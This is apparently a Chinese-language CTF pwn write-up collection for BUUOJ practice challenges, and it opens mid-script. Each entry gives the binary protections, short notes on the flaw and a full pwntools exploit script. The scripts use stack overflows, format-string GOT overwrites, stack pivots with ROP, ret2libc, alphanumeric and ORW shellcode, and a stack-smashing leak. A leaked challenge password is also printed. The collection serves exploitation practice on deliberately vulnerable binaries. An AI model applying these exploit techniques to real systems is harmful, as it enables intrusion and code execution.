log.success(hex(high_system))
log.success(hex(low_system))

payload = '%' + str(low_system) + "c%13$hn" + '%' + str(high_system-low_system) + "c%14$hnaa" + p32(printf_got) + p32(printf_got+2)
# gdb.attach(io, "b *0x80485ca")
# pause()
io.sendline(payload)
io.sendline("/bin/sh\x00")
io.interactive()

mrctf2020_easy_equation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

漏洞在主函数

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+Fh] [rbp-1h] BYREF

memset(&s, 0, 0x400uLL);
fgets(&s, 1023, stdin);
printf(&s);
if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 )
system("exec /bin/sh");
return 0;
}

直接溢出跳过判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./mrctf2020_easy_equation"
# io = process(pwnfile)
elf = ELF(pwnfile)

shell = 0x4006D0

host = "node4.buuoj.cn"
port = 25185
io = remote(host, port)



payload = 'a' * 9 + p64(shell)
io.sendline(payload)

io.interactive()

actf_2019_babystack

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

栈迁移

题目给出esp地址然后用leave布置esp

在栈中写入要用的ROP就可以了

这种ret2libc打远程都有些问题..

最后还是用one_gadget了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./ACTF_2019_babystack"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 26424
io = remote(host, port)


puts_got = elf.got["puts"]
puts = 0x400730

ret = 0x400A19
leave = 0x400A4E
rdi_ret = 0x400ad3
main = 0x4008F6

io.recvuntil("How many bytes of your message?")
io.sendline("224")

io.recvuntil("0x")
esp = int(io.recv()[0:12],16)
log.success(hex(esp))

# io.recvuntil(">")
payload = p64(0) + p64(rdi_ret) + p64(puts_got) + p64(puts) + p64(main)
payload = payload.ljust(0xD0, '\x00')
payload = payload + p64(esp) + p64(leave)
# gdb.attach(io)
# pause()
io.send(payload)
io.recvuntil("Byebye~\x0a")
puts_got_address = u64(io.recv(6).ljust(8, '\x00'))
log.success(hex(puts_got_address))
libc = LibcSearcher('puts', puts_got_address)
base = puts_got_address - libc.dump('puts')
log.success(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')
one_gadget = base + 0x4f2c5
io.recv()

io.sendlineafter('>', "224")

# io.recvuntil("0x")
# esp = int(io.recv()[0:12],16)
# log.success(hex(esp))
payload = 'a' * 0xD8 + p64(one_gadget)
io.sendline(payload)
# payload = p64(0) + p64(ret)+ p64(rdi_ret) + p64(bin_sh) + p64(system)
# payload = payload.ljust(0xD0, '\x00')
# payload = payload + p64(esp) + p64(leave)
# io.sendline(payload)


io.interactive()

后来在网上看了下wp发现用ret2libc需要再加ret不然就不行

payload就是注释里面的

mrctf2020_shellcode_revenge

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

看了下源码意思是shellcode必须是可见字符

网上wp学了下要用

https://github.com/SkyLined/alpha3

将shellcode转换为可见字符

先生成raw文件

1
2
3
4
5
from pwn import *

context.arch='amd64'

print(asm(shellcraft.sh()))

然后运行

1
python sc.py > raw

然后把文件移到alpha3下面

不要直接在alpha3运行sc.py会报错

1
2
3
git clone https://github.com/TaQini/alpha3.git
cd alpha3/
python ./ALPHA3.py x64 ascii mixedcase rax --input="raw"

这样就会输出可见字符的shellcode了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./mrctf2020_shellcode_revenge"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 28394
io = remote(host, port)

payload = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00"
# gdb.attach(io)
# pause()
io.send(payload)


io.interactive()

x_ctf_b0verfl0w

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

直接把shellcode布置在栈里然后用hint函数控制栈最后跳到esp执行shellcode

shellcode要控制在28字节以内

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./b0verfl0w"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 29314
io = remote(host, port)

hint = 0x080484FE
jmp_esp = 0x08048504

shell = '''
push 0xb
pop eax
push 0x0068732f
push 0x6e69622f
mov ebx, esp
xor ecx,ecx
xor edx,edx
int 0x80
'''

payload = p32(0) + p32(jmp_esp) + asm(shell).ljust(0x1c, '\x00') + p32(hint)
# gdb.attach(io, "b *0x0804859A")
# pause()
io.sendline(payload)
io.interactive()

picoctf_2018_leak_me

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

好玩的一题

漏洞在主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[64]; // [esp+0h] [ebp-194h] BYREF
char v5[256]; // [esp+40h] [ebp-154h] BYREF
char s[64]; // [esp+140h] [ebp-54h] BYREF
FILE *stream; // [esp+180h] [ebp-14h]
char *v8; // [esp+184h] [ebp-10h]
__gid_t v9; // [esp+188h] [ebp-Ch]
int *v10; // [esp+18Ch] [ebp-8h]

v10 = &argc;
setvbuf(stdout, 0, 2, 0);
v9 = getegid();
setresgid(v9, v9, v9);
memset(s, 0, sizeof(s));
memset(v5, 0, sizeof(v5));
memset(s1, 0, sizeof(s1));
puts("What is your name?");
fgets(v5, 256, stdin);
v8 = strchr(v5, '\n');
if ( v8 )
*v8 = 0;
strcat(v5, ",\nPlease Enter the Password.");
stream = fopen("password.txt", "r");
if ( !stream )
{
puts(
"Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(s, 64, stream);
printf("Hello ");
puts(v5);
fgets(s1, 64, stdin);
v5[0] = 0;
if ( !strcmp(s1, s) )
(flag)(v10);
else
puts("Incorrect Password!");
return 0;
}

先接收长度为256的名字,找到\n替换为\x00用来截断

v5和s在内存上面是连续的

只要给出一串超过256的字符串就找不到换行符就不会被截断,会把已经写到内存里面的密码带出来

密码是这个

1
a_reAllY_s3cuRe_p4s$word_f85406

这题可以直接手动的直接nc过去丢字符串就好了

然后得到密码后输入就可以得到flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./PicoCTF_2018_leak-me"
io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 25097
io = remote(host, port)

io.sendline("aaa")
io.sendline("a_reAllY_s3cuRe_p4s$word_f85406")
io.interactive()

suctf_2018_basic pwn

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

溢出到题目的后门函数得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./SUCTF_2018_basic_pwn"
io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 25639
io = remote(host, port)

flag = 0x401157

payload = 'a' * 280 + p64(flag)
io.sendline(payload)

io.interactive()

inndy_echo

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

字符串格式化漏洞

题目有system函数所以只要把system的plt覆盖到printf的got然后输入/bin/sh就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./echo"
io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 25995
io = remote(host, port)

printf_got = elf.got["printf"]
system = 0x08048400

high_system = (system >> 16) & 0xffff
low_system = system & 0xffff
log.success(hex(high_system))
log.success(hex(low_system))

payload = '%' + str(high_system) + "c%14$hn" + '%' + str(low_system-high_system) +"c%15$hnaaa" + p32(printf_got+2) + p32(printf_got)
# gdb.attach(io, "b* 0x080485B9")
# pause()
io.sendline(payload)
io.sendline("/bin/sh\x00")
io.interactive()

堆题

ciscn_2019_final_3

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

堆题

axb_2019_fmt64

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

下次再写

64位对格式有点烦..

wustctf2020_name_your_cat

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

是一道任意地址写入的题目

在调试的时候算出返回地址和写入地址距离为-40

也就是0xFFFFFFD8

再把这个数/8

0xFFFFFFD8/8=0x1FFFFFFB=536870907

这样写入地址就是返回地址了

直接修改为后门函数就可以了

为什么要/8是NameWhich函数里面的

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl NameWhich(int a1)
{
int v2[4]; // [esp+18h] [ebp-10h] BYREF

v2[1] = __readgsdword(0x14u);
printf("Name for which?\n>");
__isoc99_scanf("%d", v2);
printf("Give your name plz: ");
__isoc99_scanf("%7s", 8 * v2[0] + a1);
//可以看到这行把输入的值*8了所以要/8
return v2[0];
}

得到payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./wustctf2020_name_your_cat"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 28749
io = remote(host, port)

shell = 0x080485CB
io.sendline("536870907")
io.sendline(p32(shell))

io.interactive()

axb_2019_brop64

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

这题如果看着源码直接写就是ret2libc

本来以为..brop是类似srop的东西

后面看了下b是blind..

意思是这题是盲打..好像axb这系列都是盲打的..

真服了看了下wp基本就是先泄露地址然后fuzz出主函数再去找csu很复杂的东西..

到时候再来写盲打的wp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./axb_2019_brop64"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 25832
io = remote(host, port)

rdi_ret = 0x0000000000400963
puts_got = elf.got["puts"]
puts = 0x400640
main = 0x4007D6

payload = 'a' * 212 + "0000" + p64(rdi_ret) + p64(puts_got) + p64(puts) + p64(main)
io.send(payload)

io.recvuntil("0000")
puts_got_address = u64(io.recv()[3:9].ljust(8, '\x00'))
log.success(hex(puts_got_address))
libc = LibcSearcher('puts', puts_got_address)
base = puts_got_address - libc.dump('puts')
log.success(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')
payload = 'a' * 212 + "0000" + p64(rdi_ret) + p64(bin_sh) + p64(system) + p64(main)
# gdb.attach(io)
# pause()
io.send(payload)
io.interactive()

cmcc_pwnme1

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

32位的ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./pwnme1"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 26888
io = remote(host, port)

puts_got = elf.got["puts"]
puts = 0x08048548
main = 0x080486F4

io.sendline("5")
io.recv()
payload = 'a' * 168 + p32(puts) + p32(main) + p32(puts_got)
# gdb.attach(io, "b *0x8048676")
# pause()
io.sendline(payload)

io.recvuntil("aaaH")
io.recvline()
puts_address = u32(io.recv()[0:4])
log.success(hex(puts_address))
libc = LibcSearcher("puts", puts_address)
base = puts_address - libc.dump("puts")
log.success(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')

io.sendline("5")
io.recv()
payload = 'a' * 168 + p32(system) + p32(main) + p32(bin_sh)
# gdb.attach(io, "b *0x8048676")
# pause()
io.sendline(payload)

io.interactive()

ciscn_2019_es_1

堆题

[极客大挑战 2019]Not Bad

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

需要用orw

主函数在0x123000开了内存还提供了jmp rsp

写一个read将shellcode写到0x123000然后跳过去执行就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./not_bad"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 25176
io = remote(host, port)

mmap = 0x123000
jmp_rsp = 0x400A01

write_shellcode = '''
mov rax,0
mov rdi,0
mov rsi,0x123000
mov rdx,0x100
syscall
mov rax,0x123000
jmp rax
'''

jmp_shellcode = '''
sub rsp,0x30
jmp rsp
'''

open_asm = '''
mov rax,2
mov r15,0x00000067616c662f
push r15
xor rdx,rdx
xor rsi,rsi
mov rdi,rsp
syscall
'''

read_asm = '''
mov rdi,rax
mov eax,0
mov rsi, 0x123500
mov rdx,0x100
syscall
'''

write_asm = '''
mov rax,1
mov rdi,1
mov rsi,0x123500
mov rdx,0x100
syscall
'''

payload = asm(write_shellcode).ljust(0x28, '\x00') + p64(jmp_rsp) + asm(jmp_shellcode)
# gdb.attach(io)
# pause()
io.sendline(payload)

payload = asm(open_asm) + asm(read_asm) + asm(write_asm)
# gdb.attach(io)
# pause()
io.sendline(payload)

io.interactive()

wdb2018_guess

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

要把libc改为2.23版本

高于2.23就不打印文件名了

这题就是利用2.23的__stack_chk_fail打印文件名漏洞

先覆盖上puts的got得到libc的地址

然后覆盖s行libc的__envrion得到栈地址

因为flag已经存在栈里面所以根据栈地址得到flag的位置最后打印就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from LibcSearcher import *
context(log_level = "debug", arch = "amd64", os = "linux")
pwnfile = "./GUESS"
libcfile = "./libc-2.23.so"
# io = process(pwnfile)
elf = ELF(pwnfile)
libc_elf = ELF(libcfile)
host = "node4.buuoj.cn"
port = 29757
io = remote(host, port)
puts_got = elf.got["puts"]

payload = 'a' * 0x128 + p64(puts_got)
io.sendline(payload)

io.recvuntil("*** stack smashing detected ***: ")
puts_address = u64(io.recv(6).ljust(8, '\x00'))
log.success(hex(puts_address))
libc = LibcSearcher('puts', puts_address)
base = puts_address - libc.dump('puts')
log.success(hex(base))

env = libc_elf.sym["__environ"]
environ = base + env
log.success(hex(environ))

payload = 'a' * 0x128 + p64(environ)
# gdb.attach(io)
# pause()
io.sendline(payload)
io.recvuntil("*** stack smashing detected ***: ")
environ_address = u64(io.recv(6).ljust(8, '\x00'))
log.success("env: " + hex(environ_address))

flag = environ_address-0x168
payload = 'a' * 0x128 + p64(flag)
io.sendline(payload)

io.interactive()